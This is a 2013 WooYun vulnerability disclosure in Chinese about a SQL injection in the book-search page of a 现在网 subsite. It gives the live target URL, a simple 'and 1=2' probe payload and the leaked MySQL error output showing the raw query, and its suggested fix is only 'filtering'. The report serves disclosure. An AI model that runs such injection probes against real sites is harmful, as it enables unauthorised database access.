当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-038445

漏洞标题:现在网某分站SQL注入漏洞一枚

相关厂商:现在网

漏洞作者: 爱上平顶山

提交时间:2013-09-28 17:32

修复时间:2013-11-12 17:33

公开时间:2013-11-12 17:33

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:8

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-09-28: 积极联系厂商并且等待厂商认领中,细节不对外公开
2013-11-12: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

0.0

详细说明:

现在网#SQL注入一枚
点:
http://book.cnxianzai.com/search.php?searchType=3&keyword=%B3%A4%BD%AD%CE%C4%D2%D5
Error page: /search.php?searchType=3&keyword=%B3%A4%BD%AD%CE%C4%D2%D5%20and%201=2
Error infos: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'publish like '%and%' publish like '%1=2%') order by id desc limit 0,10' at line 1
Error sql: SELECT * FROM cw_book_search where id >'0' And ( publish like '%长江文艺%' publish like '%and%' publish like '%1=2%') order by id desc limit 0,10
Error Warning!
Error page: /search.php?searchType=3&keyword=%B3%A4%BD%AD%CE%C4%D2%D5%20and%201=2
Error infos: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'publish like '%and%' publish like '%1=2%') order by id desc limit 0,1' at line 1
Error sql: SELECT COUNT(*) as dd FROM cw_book_search where id >'0' And ( publish like '%长江文艺%' publish like '%and%' publish like '%1=2%') order by id desc limit 0,1;

4.png


dedecms 不深入了。
ok

漏洞证明:

http://book.cnxianzai.com/search.php?searchType=3&keyword=%B3%A4%BD%AD%CE%C4%D2%D5
Error page: /search.php?searchType=3&keyword=%B3%A4%BD%AD%CE%C4%D2%D5%20and%201=2
Error infos: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'publish like '%and%' publish like '%1=2%') order by id desc limit 0,10' at line 1
Error sql: SELECT * FROM cw_book_search where id >'0' And ( publish like '%长江文艺%' publish like '%and%' publish like '%1=2%') order by id desc limit 0,10
Error Warning!
Error page: /search.php?searchType=3&keyword=%B3%A4%BD%AD%CE%C4%D2%D5%20and%201=2
Error infos: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'publish like '%and%' publish like '%1=2%') order by id desc limit 0,1' at line 1
Error sql: SELECT COUNT(*) as dd FROM cw_book_search where id >'0' And ( publish like '%长江文艺%' publish like '%and%' publish like '%1=2%') order by id desc limit 0,1;

4.png

修复方案:

过滤

版权声明:转载请注明来源 爱上平顶山@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝